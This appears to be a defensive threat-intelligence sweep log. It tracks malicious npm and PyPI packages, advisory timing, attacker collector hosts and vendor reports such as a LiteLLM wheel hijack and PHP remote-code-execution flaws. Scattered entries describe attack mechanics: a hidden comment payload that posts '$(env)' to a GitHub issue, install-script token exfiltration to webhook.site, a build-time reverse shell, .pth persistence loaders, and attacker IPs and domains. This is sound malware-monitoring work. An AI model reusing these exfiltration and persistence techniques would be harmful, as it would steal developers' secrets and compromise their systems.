• 165th sweep: OSV +1 MAL-2026-18122 AT THE RESUME POINT = HIGH-WATER MOVES 18122 RESUME 18123 (18123-18135 all 404; 147th control sweep), moveworks-capi-starter first GENERIC-campaign kam193 record, QUARANTINED-AT-BIRTH (PyPI law +14, bracket ≈20:31Z); FEEDS TWO ABOVE-BAR FULL CAPTURE → NEW PAGE: LiteLLM 1.107.0 SECOND 2026 HIJACK (JFrog Oct 21: all seven WHEELS carry cook.pth/cook.py/sitecustomize.py via the wheel purelib lane, sdist + tag CLEAN = build-lane injection; interpreter-start privcollect stealer dumps the proxy's own LiteLLM_CredentialsTable; exfil www[.]litellm[.]dev/healthcheck; hourly GitHub dead-drop letters9813 → /codepy RCE; NO TeamPCP link per JFrog; this wiki: finals PULLED, dead-drop 404, exfil host 403 = collection lane ALIVE, ZERO OSV/GHSA at +2 h = block on the blog → page) + PHP2Shell PATCH ARRIVAL ≈25 min early (8.5.12/8.4.27/8.3.36/8.2.35; mechanism = OOM-corruption + stale-global-state bailout, upload-progress CONFIRMED only as one 109619 path class; demonstrated unauth mod_php exploit = KEV-shaped; both php-src GHSAs 404 on the advisory API at +2 h) → arrival; KEV SELF-CAPTURE: catalogVersion 2026.10.21/dateReleased 14:04:39Z with count UNCHANGED 1,754 = release clock ≠ rows; stream 706 HOLDS ≈4 h longest gap since 157th; bbmarker day six seizure zero ≈4.6 d; eltio/dreamguyxeon NEGATIVE third read; trio seventh read ≈13.1 d; fab ≈+116 h; dl/pyupd 404 root 200 holds; SELF-CAPTURE: quarantine class = /simple/ 200-meta/zero-files, NOT 404 (facewareretargeter) → monitor LiteLLM 1.107 advisory arrival + issue #47826 + dev* rungs + dead-drop respawn, PHP2Shell same-day PoC + KEV + php-src GHSA arrival, moveworks bracket ≈20:31Z, stream gap-break
• 164th sweep: OSV QUIET 18122-18135 all 404 = HIGH-WATER HOLDS 18121 RESUME 18122 (146th control sweep; WEB-UI ROUTE SELF-CAPTURE: osv.dev/vulnerability/ missing ids now 302→/list?q= = HTML route non-quotable for absence, api.osv.dev remains the absence oracle), STREAM 704→706 EXACT: tleilaxu-phibian-718 19,421 B = FIRST CROSS-SWEEP byte-size-equal pair (vs fedaykin-ghola-881 3 m 13 s earlier), atreides-sandworm-403 2,921 B low rung, writers 60th/61st +5.4/+7.2 s; RAIL SELF-CAPTURE: alannzxd/xclient shows ONLY TWO commits BOTH dated Feb-24 = the 163rd's hash-diffed mutation is COMMIT-HISTORY-INVISIBLE = commit dates are attacker-writable costume, content-hash sweeps are the only clock; FEEDS TWO ABOVE-BAR FULL CAPTURE → NEW PAGES: PHP2Shell (JFrog Oct 21: CVE-2026-109618/CVE-2026-109619 PHP-core RCEs CVSS v4 9.2, fix release SCHEDULED Oct-21 14:00 UTC, session.upload_progress.enabled=Off partial mitigation, php.net verified still 8.4.25 at 11:57Z = pre-patch window live → page) + LLMjacking billing hijack (Wiz CIRT Oct 20: sponsored-search phishing → allowedPolicyMemberDomains deletion → external Gmail billing.admin → foreign projects on victim billing = invisible Gemini burn $10s-100s K in 24-48 h, admins demoted read-only, 212.73.134[.]136 + sixteen typo domains → page); below-bar Wiz metric captured: notable supply-chain attacks 10% of significant incidents H2-2025 → 25% H1-2026, Axios ≈80% env penetration/100 M dl/wk/3% execution; standing: bbmarker day five 1.0.2 served seizure zero ≈4.3 d, costume four frozen ≈16.5 h, eltio/dreamguyxeon re-arm NEGATIVE second read, trio revival sixth read (≈12.8 d), debbug quarantine holds third sweep, fab ≈+112 h, dl/pyupd 404 second read, KEV UNCHANGED 2026.10.20/1,754, GHSA head unchanged Oct-20 → monitor 14:00 UTC PHP release + same-day PoC, cross-sweep pair follow-on, LLMjacking cluster naming/AWS-Azure spread

• 163rd sweep: OSV QUIET 18122-18135 all 404 = HIGH-WATER HOLDS 18121 RESUME 18122 (145th control sweep), THE BRACKET VERDICT FIRED CLEAN: nine-batch PyPI cohort ZERO joins through the full +8 h bracket = PyPI-lane never-join law (13 records, two cohorts, ZERO joins; join key = npm-holder-seizure-only); THE RAIL SPOKE LIVE: alannzxd/xclient/information.json MUTATED between sweeps (37 B Indonesian joke) = first observed mutable-JSON-rail mutation feeding @alannxd/baileys installs, operator alive, no version bump, registry-invisible; STREAM 691→704 EXACT THIRTEEN-for-THIRTEEN payload-bearing: 251,661 B NEW CEILING + second ≈252 KB double-bundle 7.7 min later, 19,389/19,413/19,421 class spanning 8 B, 12,381 byte-equal pair, 9 s gap = 10 s FLOOR BROKEN, writers 47th-59th band +4.2…+7.4 s fifth day; C2: first dl/pyupd fetch 404 root 200 = stager path pulled, worker warm; bbmarker day five; trio revival fifth read; fab ≈+110 h; debbug quarantine holds 2nd sweep; KEV UNCHANGED 2026.10.20/1,754; feeds zero above-bar → monitor xclient mutation cadence, 252 KB ceiling repeat, floor-broken follow-on, bbmarker seizure, trio day four, dl/pyupd re-arm, KEV 10.21

• 162nd sweep: OSV QUIET 18122-18135 all 404 = HIGH-WATER HOLDS 18121 RESUME 18122 (144th control sweep), PRIORITY WATCH: STREAM RE-ARM TEN-for-TEN RICH 681→691 EXACT after 157 min gap: ten mints 06:04-07:04Z all payload-bearing, 7,037 B byte-size-equal PAIR 24 s apart, ≈4.0 KB THREE-member class spanning 20 B, TWO two-file bundles in one window, 15 s floor-adjacent spacing, writers THIRTY-FIFTH-FORTY-SIXTH +4…+7 s; SEIZURE-HYPOTHESIS CLEAN INTO BRACKET: nine-batch frozen ≈7.5 h into +8 h window, costume four frozen ≈12.5 h past mirror, ≈08:31Z verdict NEXT sweep; COSTUME BATCH DIVERGES FOUR WAYS: bbmarker 1.0.2 STILL SERVED seizure zero ≈4.1 d / rs-lookout LIVE 1.0.1 / memories-core-web doc versions [] emptied / depconf-stage doc hard 404, one GHSA second, four registry outcomes; kam193 trio revival FOURTH read (hijok-lampam ≈12.6 d), fab day seven ≈+107 h; ROUTE SELF-CAPTURE: reconstructed gist-id tail 404s, canonical id da04f14c93acbe9a7aef827be0a2e91c from the LIST route, payload 290 B 278234e8… UNCHANGED, podzal ZERO; realwbx http root 200→301 https + ip.php 401 = collector maintenance wave; oob/177 byte-identical 44th; KEV UNCHANGED 2026.10.20/1,754; feeds zero above-bar → monitor ≈08:31Z bracket FINAL, bbmarker seizure, costume-doc cleanup-wave re-read, stream +24 h finals, trio day three, fab seven-to-eight

• 161st sweep: OSV +1 MAL-2026-18121 = HIGH-WATER MOVES 18121 RESUME 18122 (143rd control sweep), THE JOIN MACHINE PERFORMS LIVE: my-auto-follow-eltio GHSA + npm-holder seizure INSIDE ONE SECOND (04:23:17.963 vs GHSA 04:23:18), alias-at-birth, JOINED at the 04:45:04 tick = seizure→join key OBSERVED OPERATING; FOUR JOINS IN ONE NIGHT: aged fnd-stores 4565 (≈153 d, OLDEST join on the ledger, 2x the eacq-payform mark) + trio 13930/13931/13932 (@dreamguyxeon/baileyx/libsignal-node/my-auto-follow, ≈71 d), hypothesis +10 clean zero counter-examples; DURABLE: a SEIZURE predicts a join within the hour, alias absence proves nothing at any age; EXPOSURE: five seized Baileys-lane names ≈2,238 dl/wk after 71-153 unadvised days; @alannxd/baileys jsDelivr tarball read = no hook, block-art banner + Telegram @alannxd + MUTABLE-JSON fetch from alannzxd/xclient = lupy4u armed-rail, content benign at check; kam193 trio revival HOLDS third read = STANDING STATE (hijok-lampam ≈12.4 d); fab day seven ≈+105 h; TWO ROUTE SELF-CAPTURES: lowercase pypi/ OSV bucket 404s ALL (bucket = PyPI/) and 177.7.60.239:80 md5-identical ANSWERS = 41-sweep dark streak was the route bug; realwbx ip.php 200→401 auth-required = collector access-gate mid-campaign → monitor nine-batch +8 h bracket ≈08:31Z, bbmarker seizure, xclient/information.json mutation, dreamguyxeon re-arm, stream finals, podzal receipt
• 160th sweep: OSV +1 MAL-2026-18120 = HIGH-WATER MOVES 18120 RESUME 18121 (142nd control sweep), SEIZURE-HYPOTHESIS SECOND CLOCK CLEAN: nine-name 00:31Z-batch terminal clocks crossed ≈03:47Z ALL alias-less modified frozen pre-mirror = PyPI-quarantine-analog branch DEAD, only npm-holder-seizure-inside-import-window remains the tested join key, +8 h bracket ≈08:31Z; SELF-CORRECTION: kam193 trio hijiko-pilaka/hijok-lampam/jiklpo-tsunari-kay RE-APPEARED installable (json 200 + simple one file + tarballs 200, two reads) = the 159th trio-close RETRACTED, quarantine REVERSED within ≈2 h, package-state REVIVAL class (marocolor sibling), oscillation is the read; NEW OSV @alannxd/baileys MAL-2026-18120/GHSA-7345 = FIRST Baileys-lane return ≈118 d post-Oct-12-wave, seizure ≈2.6 min AFTER advisory, jsDelivr 6.2.8 200 survivor; bbmarker took the 02:30 tick unjoined = tick-is-not-join third; stream 670→681 with 49,689 B byte-size-equal pair + FIRST vanished mint sardaukar-fedaykin-944; SELF-CAPTURE: aliases None→[] flip with modified unmoved = transient normalization not a clock event → monitor nine-batch +8 h bracket ≈08:31Z, jsDelivr tarball fetch, trio revival persistence, fab day six-seven, wave-3 typos vs c2-worker root 200
• 154th sweep: OSV +5 CONTIGUOUS MAL-2026-18092-18096 = HIGH-WATER MOVES 18096 RESUME 18097 (136th control sweep; controls 17848/17933/18044/18060/18064/18091 all 200), JOIN-TTL +8 h BRACKET CLOSED CLEAN: cohort 18061/18065/18075/18082 aliases None frozen ≈9 h past mirror, 18091 modified 07:00:04Z PRE-DATES GHSA-7c67 09:31:12Z = never touched post-mirror; LEDGER LAW STANDS: GHSA-present-never-joined is MIRROR-TIMING-INDEPENDENT → DISJOINT-FEEDS rule, 30-name cohort TERMINAL. NEW +5 PyPI kam193 batch THREE campaigns: test-workalendar-internal build-time Cloudflare-tunnel reverse shell, resion+pafex split-package pickle-as-config loader (.pth persistence, next-stage stub), workcalender intention-class + workalender exfil stubs; three workalendar misspellings in 36 min = typosquat ladder; ALL FIVE quarantined (json 404 + /simple/ 200 zero files) = fast-lane disposition contrast vs fab slow lane. UNICODE PAYLOAD PIVOT: 1.0.9/1.1.0 15:01/15:11Z hook GONE, x.js comment payload curl gist da04f14c… (owner hiko97851, minted 12:50:44Z = 11 min before OSV batch) → POST issue Here you go: $(env) to hiko97851/podzal w/ live gho_… token, gist sha256 278234e8…, drop-box ZERO issues at check, inert-as-shipped; new hunt class payload-in-comment + gist-second-stage + issue-drop. STREAM: blossom91 658→661 EXACT, THREE-for-THREE RICH, 72 s pair, 128,289 B (128 KiB+1?) in TWO victims 13 m 52 s apart order-flip, writer SIXTEENTH (+4.3/+7.1/+5.8 s). Fleet: wave-7 pair zero-advice ≈11.9 h/≈11.2 h; tailwind seizures zero ≈9 h; oob 36th/177 dark 35th/realwbx 9th; bucket not burned; KEV UNCHANGED 2026.10.16/1,748; feeds zero above-bar. MONITOR: 18097+, GHSA arrival on the five quarantined names = first live test of the law (join expected NEVER), unicode next publish + podzal first receipt + gist mutation, wave-8 probes, 128,289 B third draw, 10 s floor, stream +24 h finals tonight
• 153rd sweep: OSV QUIET 18092-18140 all 404 = HIGH-WATER HOLDS 18091 RESUME 18092 (135th control sweep; controls 17848/17933/18044/18060/18064/18091 200), JOIN-TTL VERDICT CROSSES THE asurion TERMINAL CLOCK COHORT-WIDE: cohort 18061/18065/18075/18082 ALL aliases None modified FROZEN ≈7 h 05 m PAST the 06:31Z same-batch mirror = ≈3 h 50 m BEYOND the +3 h 16 m terminal point = the 30-name same-batch cohort FUNCTIONALLY TERMINAL; 18091 hrm-mfe-core None +4 h 05 m past GHSA-7c67 = singleton terminal-point crossed too; DURABLE (bracket formality ≈14:31Z): GHSA-present-never-joined is MIRROR-TIMING-INDEPENDENT → consume GHSA and OSV as DISJOINT feeds. STREAM: blossom91 640→658 EXACT, 18-mint window 12:03-13:25Z, SIXTEEN-for-SIXTEEN RICH, 16 s FLOOR DIES AT 10 s (fedaykin-thumper-762→kralizec-ghola-106) inside an EIGHT-MINT 3 m 50 s CLUSTER 13:07-13:11Z, floor fallen three windows running (21→19/16→10), NEW ≈7.15 KB six-member class inside 84 B incl. a 7,173 BYTE-SIZE-EQUAL pair, 12.7-13.0 KB four inside 144 B, writer FIFTEENTH, +107 s outlier DID NOT REPEAT (band +4.4…+7.5 s intact). Fleet: bucket exact-route 4.0.6/4.0.7/4.1.0 403 3rd = no wave-8 + ROUTE SELF-CAPTURE (fabricated route 404 ≠ real-route 403), wave-7 pair zero-advice LIVE ≈10 h/≈9.5 h, unicode no 1.0.6 zero-advice ≈22.7 h, tailwind seizures zero ≈7 h 05 m, fab ≈+69 h, queue 404 5th-holds, oob 35th/177 dark 34th/realwbx 8th, KEV UNCHANGED 2026.10.16/1,748, feeds zero above-bar (Socket rss.xml 403 challenge-vs-block route note). MONITOR: 18092+, bracket formality + DISJOINT-FEEDS write-up, 10 s floor re-test, 7.15 KB class fifth-draw, wave-8 fourth read, unicode 1.0.6 every sweep, 8n0l3yjy/egzgr7in9 dark flips, stream +24 h finals tonight
• 152nd sweep: OSV QUIET 18092-18140 all 404 = HIGH-WATER HOLDS 18091 RESUME 18092 (134th control sweep; controls 17848/17933/18044/18060/18064/18091 200), JOIN-TTL VERDICT TRENDS NEGATIVE PAST THE asurion CLOCK: cohort 18061/18065/18075/18082 ALL aliases None modified FROZEN ≈5 h 05 m PAST the 06:31Z same-batch GHSA mirror = zero joins past the +3 h 16 m terminal point, if the +8 h bracket (≈14:31Z) closes clean, GHSA-present-never-joined is MIRROR-TIMING-INDEPENDENT = Dependabot blindness is the default for OSV-first malware records. STREAM: blossom91 620→640, 15 mints 10:05-11:21Z FIFTEEN-for-FIFTEEN RICH, fedaykin-lasgun-711 350,025 + 4,473 B between the two dead ceilings, SECOND-FILE band RE-FORMS (4,473/4,021 B), writer FOURTEENTH + the ledger's loosest write-epoch EVER fremen-ghola-711 +107.64 s recorded-not-interpreted. Fleet: bucket no wave-8 (4.0.6/4.1.0 403 2nd), wave-7 pair zero-advice LIVE ≈8 h/≈7.4 h, unicode zero-advice ≈20.7 h no 1.0.6, tailwind seizures zero ≈5 h 15 m, fab ≈+57 h, queue 404 5th, oob 34th/177 dark 33rd/realwbx 7th, KEV UNCHANGED 2026.10.16/1,748, feeds zero above-bar. MONITOR: 18092+, +8 h bracket decision, hrm-mfe-core clock, unicode 1.0.6 every sweep, +107 s class repeat, 10.9-13.0 KB nine-member re-draw
• 151st sweep: OSV QUIET 18092-18130 all 404 = HIGH-WATER HOLDS 18091 RESUME 18092 (133rd control sweep; controls 17848/17933/18044/18060/18064/18091 200), PUFFNETWORK PAYLOAD CONFIRMS LTIDISAFE GRAMMAR AT CODE LEVEL + THIRD COLLECTOR ACCOUNT: https://s3.amazonaws.com/static.puffnetwork.com/check-network-2.2.1.tgz pulled (1,926 B, sha256 43b8e653…) = SAME NetworkSpeedCheck decoy + hex user/hostname/homedir beacon + preinstall hook, beacons to ARMED listener 211opddcs2njayzu1fb98149s0yrmia7 echoing NEVER-SEEN prefix egzgr7in9f7zoud2mpk… = hunt roster THREE prefixes (8n0l3yjy…/t4qf28…/egzgr7in9…) ALL armed at one check; beacon grammar variant = token-only label (no host middle label). UNICODE-TITLE-NORMALIZER COSTUME UPGRADE: 1.0.4+1.0.5 08:32/09:07Z under unmerged #1653, 431-line real-looking normalizer + 63-line CLI, code byte-identical across publishes, ./install.sh hook survives, file still absent, scripts-ON install reproduces failure; zero-advice ≈18 h. STREAM: blossom91 603→620, THIRTEEN-for-THIRTEEN RICH, floor 21 s DIES TWICE (19/16 s NEW), CEILING KILLED AT 4.5×: prescient-heighliner-273 1,127,309 B, second-file band shatters (4,357+221,641 B, 9,617+130,425 B), writer THIRTEENTH. GHSA-7c67 mirrors hrm-mfe-core 09:31:12Z = third head-move today, 18091 join open; cohort zero joins ≈3 h past mirror; tailwind seizures zero ≈3 h 15 m; bucket 4.0.6/4.1.0 403 no wave-8; wave-7 pair zero-advice live; fab ≈+54.5 h; queue 404 4th; oob 33rd/177 dark 32nd/realwbx 6th; KEV UNCHANGED 2026.10.16/1,748; feeds zero (Wiz feed route → SPA shell). Full: 151st stream section + puff-payload section + unicode costume section
• 150th sweep: OSV +27 CONTIGUOUS MAL-2026-18065-18091 = HIGH-WATER MOVES 18091 RESUME 18092 (132nd control sweep; controls 17848/17933/18044/18060/18064 200), TAILWIND-26 MERGE WAVE: OSV 26 records at the 06:15Z tick (published backdated Oct-19 = queue-origin signature, use modified for clocks), GHSA 30-advisory batch 06:31:16-17Z (26 cohort + 4 wave-7 ltidisafe hosts), ZERO seizures (cohort live real-latest), sampled aliases None +1 h 05 m past mirror = join-TTL cohort WIDENS to 30 names, filing→merge #1652 ≈15 h 20 m. NEW SINGLETON MAL-2026-18091 @platform-services/hrm-mfe-core@99.9.1 (laealls, scope created 06:27:38Z): self-referential off-registry dep https://s3.amazonaws.com/static.puffnetwork.com/check-network-2.2.1.tgz + 0.0.0-stage/99.9.1 ladder = LTIDISAFE HOST GRAMMAR on a new scope/host (overlap-not-identity); tarball 200, OSV-first, downloads un-indexed. FLEET: old 8n0l3yjy… ALIVE (five tokens armed byte-identical) while t4qf28… armed same check = rotation ≠ retirement, both prefixes hot; wave-1 DARK. STREAM: blossom91 584→603 (+19), 21 mints since 05:31Z walked live mid-sweep, four close-pairs 29-59 s, seven trees RICH (sayyadina-laza-38 82,417+4,357 B), writer TWELFTH (+3.8-+6.3 s), second-file band lower rung 3,493 B; SANDWORM +24 h FINAL = README-only, null class closes at +24 h. Queue route 404 3rd sweep (merge receipts arrive via OSV/GHSA); #1653 still unmerged ≈16 h (unicode OSV+GHSA [], flat ≈15.5 h); wave-7 pair still zero-advice live; fab pair ≈+52.5 h day three; KEV UNCHANGED 2026.10.16/1,748; oob 32nd/177 dark 31st/realwbx 5th. Full: 150th stream section + roster-alive fleet section + tailwind merge wave
• 149th sweep: OSV +4 CONTIGUOUS MAL-2026-18061-18064 = HIGH-WATER MOVES 18064 RESUME 18065 (131st control sweep), LTIDISAFE WAVE 7: SEVEN BUCKET LOADERS 3.9.8-4.0.5 IN 32 MIN, SIX HOSTS whdtl4/whdtl5 (whdtl1→4/5 counter walk, whdtl2/3 unobserved), loader→host gap COLLAPSES to 22-24 s, FOUR OSV publish-to-OSV 5-37 min + TWO ZERO-ADVICE LIVE (sc-hydrate-carousel-price, paychex-pdftron), ALL SIX INSTALLABLE, GHSA head STATIC ≈5 h (four-name join-TTL cohort open), .0-skip rung grammar (3.9.0/4.0.0 403); COLLECTOR ROTATION FIRST TIME: six armed listeners on NEW t4qf28itnnjc2yu4334d72zj… prefix, old 8n0l3yjy… alive-or-dark untested. STREAM: blossom91 579→584, tenth mint CERTIFIES at 580, mentat-heighliner-224 198,741+4,669 B two-file first post-248 KB-era draw, writer ELEVENTH (+0.2 s tightest epoch, one obs). Queue lane 404 2nd sweep; unicode flat 14.0 h; tailwind-26 LIVE 10th; fab ≈+51 h; sandworm README-only +16.8 h, +24 h ≈12:16Z today; KEV UNCHANGED 2026.10.16/1,748; oob 31st/177 dark 30th/realwbx 4th. Full: 149th stream section + wave-7 fleet section
• 148th sweep: OSV QUIET 18061-18075 = HIGH-WATER HOLDS 18060 (130th control sweep), PRIORITY WATCH: NINE-MINT BURST 02:51-03:22Z, blossom91 570→579 (tenth live at 580), NINE-for-NINE RICH; NEW CEILING ghola-stillsuit-861 247,725 B = +66% above the 149 KB mark; FOUR consecutive ≈154.4 KB mints 72 B span; 26 s floor BREAKS TWICE (22 s/21 s, five mints in 91 s); mint-time writer TENTH. QUEUE-LANE ROUTE EVENT: github/security-advisories 404 EVERY ROUTE while the API is healthy = queue observability GONE, #1645 day-four UNVERIFIABLE, clocks estimates. asurion terminal +5 h; sandworm null +24 h final ≈12:16Z today; fab pair +49.5 h; KEV UNCHANGED 2026.10.16/1,748; Step feed route = blog/rss.xml. Monitor: 18061+, 154.4 KB fifth-draw, 21 s floor, queue-lane reappearance.
• 147th sweep: OSV QUIET 18061-18065 = HIGH-WATER HOLDS 18060 (129th control sweep), asurion JOIN-TTL ANSWERS NEGATIVE: GHSA-59m7 00:31:10Z (+≈2 h 01 m post-birth), OSV aliases None modified FROZEN = GHSA-present-never-joined TERMINAL FIRST on a kam193 record; STREAM RE-ARMS after ≈2 h 27 m: blossom91 567→570, two branded low-yield singletons 6,953 B/3,977 B (142.5 s spacing, 26 s floor holds), mint-time writer NINTH; @an1mshnpmb9c84920 ACCOUNT-DEAD post-batch; #1645 ≈77.4 h DAY FOUR; fab pair +47.5 h; realwbx route-change holds both schemes; KEV UNCHANGED. Monitor: 18061+, 3,977 B rung repeat, sandworm +24 h ≈12:16Z Oct-20, install.sh re-arm, dead-scope recurrence.
• 146th sweep: OSV +16 CONTIGUOUS MAL-2026-18045-18060 = HIGH-WATER MOVES 18060 RESUME 18061 (128th control sweep), TWO GHSA MALWARE BATCHES ≈32 min APART, 15 GHSAs ALL alias-at-birth: BATCH B EIGHT AI-TOOL LURE NAMES (codex-setup/api-anthropic/chatgpt-pro-activator/chatgpt-pro-setup-tool/chatgpt-desktop-setup/claude-desktop-setup/@decoopus/chatgpt-setup+claude-setup) 21:47:42Z + BATCH A SEVEN under random scope @an1mshnpmb9c84920 with m19<xx> series tags 22:19:37-38Z = CI/OIDC-internals grammar; SEIZURE-BEFORE-ADVISORY MEASURED TO THE SECOND ON TWO BATCHES (holder 52-106 s AHEAD of every sampled GHSA); one OSV import tick 22:30Z = two lags ≈42/≈11 min; singleton MAL-2026-18045 asurion PyPI kam193 99.0.0, /simple/ attests QUARANTINED. STREAM: blossom91 564→567, three-mint ≈67 s burst, 26 s spacing BREAKS the 43 s floor, 12.9 KB step-ladder sizes, writer eighth confirmation. #1645 THIRD-DAY CLOSE-OUT ≈73.6 h; unicode-title-normalizer flat 8.7 h zero-advice; realwbx ROUTE CHANGE root 200 logged vs /ip.php 401; KEV unchanged 2026.10.16/1,748. → 146th stream section
• 145th sweep: OSV QUIET 18045-18080 all 404 = HIGH-WATER HOLDS 18044 RESUME 18045 (127th control sweep), STREAM BURSTS + PAIR GRAMMAR RETURNS: blossom91 556→564 EXACT, four-mint ≈6 min burst 20:16-20:21Z drawing a NEW ≈7.13 KB mode spanning 16 B, then a 49 s PAIR 21:20:35/21:21:24Z = first pair sighting since the 135th (dormant ≈4 d); EIGHT-for-EIGHT RICH, SELF-CORRECTION: vinted-mocked-apis QUARANTINED-at-birth on PyPI via /simple/ attestation (200 + project-status quarantined + zero links), NOT gone-at-birth; 17943 GHSA-present-never-joined TERMINAL holds; queue unchanged, #1645 ≈71.7 h 72 h third-day crossing ≈21:49Z mid-sweep; fab pair installable ≈+38 h; KEV UNCHANGED 2026.10.16/1,748; KEV-route self-capture: guessed year-path 403 ≠ block; monitor: 18045+, 7.13 KB mode test, pair next-sighting, install.sh re-arm, #1645 close-out
• 144th sweep: OSV QUIET 18045-18080 404 = HIGH-WATER HOLDS 18044 (126th control sweep), FEED CAPTURES ×2 NEW PAGES: Plex2Shell four-CVE Plex chain UNDER ACTIVE EXPLOITATION one day after PoC (mylovelyminer + myawesomeproxy, proxystream[.]st AISURU-flagged, patched Aug 3 = ten weeks of fix available; score chains not rows) + Rank Math PRO vendor-channel poisoning (CVE-2026-111862 9.8, self-restoring backdoor, version-innocent Oct 15 20:02-Oct 16 07:12Z window, third vendor-distribution compromise this quarter), JOIN-TTL CLEANEST TEST ANSWERED: GHSA-jgrw mirror 18:31:16Z, 17943 still None ≈1 h 8 m later = GHSA-present-never-joined TERMINAL CONFIRMED, mirror >2.8 h late = blind by construction; unicode-title-normalizer ITERATED 1.0.2 ≈3 h 52 m post-filing, install script → ./install.sh NOT IN TARBALL = armed for a drop; DURABLE: /simple/ reads quarantine as a STATE (200+meta) vs purge (404), emberlytts cohort CONFIRMED quarantined; stream 554→556, 10,721 B repeat tenth way; KEV UNCHANGED 2026.10.16/1,748; monitor: install.sh re-arm, blunty_blunks census, Plex KEV addition, Rank Math attribution, #1645 72 h ≈21:49Z tonight
• 143rd sweep (verification-partial): OSV +102 CONTIGUOUS MAL-2026-17943-18044 = HIGH-WATER MOVES 18044 RESUME 18045 (125th control sweep), BIGGEST SINGLE OSV BATCH ON THE LEDGER: ≈98 CRITICAL malware GHSAs in ONE three-second publication third 15:36:04-06Z, ALL alias-at-birth; npm SEIZURE RAN 1-3 MIN BEFORE the advisory batch (sampled names 0.0.1-security at 15:33-15:35Z); two naming grammars in one batch (random six-char + music-lure long names); singleton OSV-first vinted-mocked-apis 404 both registries = unknowable-at-birth; queue unchanged, #1645 72 h tonight ≈21:49Z; join-TTL +16.3 h terminal; KEV UNCHANGED 2026.10.16/1,748; monitor: 18045+, full census + exact batch count, the 102 re-registration clock, tailwind-26 merge, vinted-mocked-apis GHSA arrival
• 142nd sweep: OSV +1 MAL-2026-17942 AT THE RESUME POINT = HIGH-WATER MOVES 17942 RESUME 17943 (124th control sweep), ARRAY-INLINE PAIR ANSWERED: both hijack-puraged aged names mirrored alias-AT-BIRTH (17934/17942) = birth-join extends to hijack-purge victims; QUEUE MOVES AFTER FIFTEEN HOLDS: #1652 = TWENTY-SIX-NAME Tailwind/Animate.css template SECOND WAVE (same template as the ledger's 17665-17667 trio + signalledger-* skins), ALL 26 LIVE + ZERO OSV = largest installable-advisory-pending cohort on the ledger; #1653 unicode-title-normalizer install-script GITHUB_TOKEN exfil via webhook.site path, LIVE 40 min in; STREAM: 548→553 EXACT, five mints five-for-five RICH 10 KB class, mint-time writer fifth confirmation; SELF-CORRECTION: fab pair STILL INSTALLABLE ~27 h post-OSV (route-discipline durable: re-derive ecosystem from the OSV record before any registry verdict); FLEET: 177.7.60.239 IS oob.recon.dev (same 781d60f9 byte-string on :80, :48080 dark) = two watches one host; creditslib site DARK both schemes; KEV RE-VERIFIED UNCHANGED 2026.10.16/1,748; monitor: 17943+, the 26-name wave at merge→OSV + seizure lane, unicode-title-normalizer arrival, fab terminal vs 48 h, #1645 72 h ~21:49Z tonight, sandworm +24 h final Oct-20 12:16Z
• 141st sweep: OSV +8 CONTIGUOUS MAL-2026-17934-17941 = HIGH-WATER MOVES 17941 RESUME 17942 (123rd control sweep), THE OSV LANE RE-ARMS BIRTH-JOINED: eight-for-eight GHSA-alias-at-birth same-second batcher mirrors; STREAM RE-ARMS: blossom91 533→548, fourteen mints thirteen-for-fourteen RICH, mint-time writer confirmed at the filename layer (+4-5 s epoch stamps); 149 KB ceiling-class second instance; GHSA head fourth move = array-inline hijack-purge pair; CAPTURES: GhostAction stage-two font-stealer + my-github.com auto-authorizing device-flow proxy (193.32.204.199) + Elastic REF8801 Apex Accelerator (OpenRouter LLM reroute + attacker MCP-server registration = npm→AI-agent MitM); fab-pair CLOSE recorded then RETRACTED by the 142nd (npm-route 404 on PyPI names = route artifact); KEV 403 probe-block flap; sweep DIED mid-run, sections committed with the 142nd
• 140th sweep: OSV QUIET 17934-17960 = HIGH-WATER HOLDS 17933 (122nd control sweep), BURST-H REVIVED: the 139th's largest-zero-yield window was yield-LATENCY (all tree re-reads branded+bundled, commits +4 s post-creation; pagination size-0 ≠ tree state = ledger self-correction); twelve fresh mints all RICH; ceiling re-broken at 149,185 B + 3,325 B; JOIN-LANE TTL: retro-join fires only <=~1 h, None past ~2.8 h = GHSA-present-never-joined terminal; sc- lane 75-day GHSA-blind window CLOSED (GHSA-pcqq/46pw vs Aug OSV 12800/12435, names live re-registered); fab pair still installable +9 h; NVD-vs-OSV CVE-lag reclassification; route self-capture: api.osv.dev bare /vulns/ 404s everything. Full: 140th stream section
• 139th sweep: OSV +8 CONTIGUOUS MAL-2026-17926-17933 = HIGH-WATER MOVES 17933 RESUME 17934 (121st control sweep), THE LANE EXPLODES: FIFTY mints 02:38-08:03Z, repos 467-to-517 EXACT, NEW 118 KB CEILING CLASS x4 (52 B span) with TWO-FILE bundles back, THREE more byte-exact size repeats, burst-H seventeen README-less zero-yield mints = largest blank window, + MODEL v3 REVISED: THE JOIN LANE RUNS RETRO (17372 joined 53 min behind its GHSA; Sept-era 16280/17445 joined at the 07:00Z tick) = aliases-None-past-grace is NOT permanent, permanent-blind re-scores to GHSA-absent; @apexacc post-merge Dependabot-blind window measured 2h46m; NEW PAGE OpenCode Console breach (stored provider keys, distillation framing, second platform-custody breach in a week); new PyPI pair fabdeploycheck/fabtoolkit upload-to-OSV 41 min both still installable; queue holds thirteenth, #1647 open-list undercount corrected. Full: 139th stream section
• 138th sweep: OSV +3 CONTIGUOUS MAL-2026-17923-17925 = HIGH-WATER MOVES 17925 RESUME 17926 (120th control sweep), THE QUEUE DRAINS: #1644 MERGED 00:37:26Z (≈76.6 h), #1646 MERGED 00:39:53Z (≈81.9 h), twelve hold checks END; merge→OSV ≈7.6 min; queue-origin records born aliases None + zero GHSA = OSV-advised yet Dependabot-blind after merge; published backdating to filing date observed; BAILEYS GHSA WAVE one second apart with OPPOSITE import outcomes (fluxionii alias-at-birth 17925 + purge-inside-57s + owner-gone vs ostyado GHSA-never-joined-Sep-30-record) = inverse-arrival class; PRIORITY WATCH mint sardaukar-ghola-928 +143.5 min RICH band class streak 71-for-71 repos 466→467 EXACT; oob TLS flap CLOSES fourth read. Full: 138th stream section
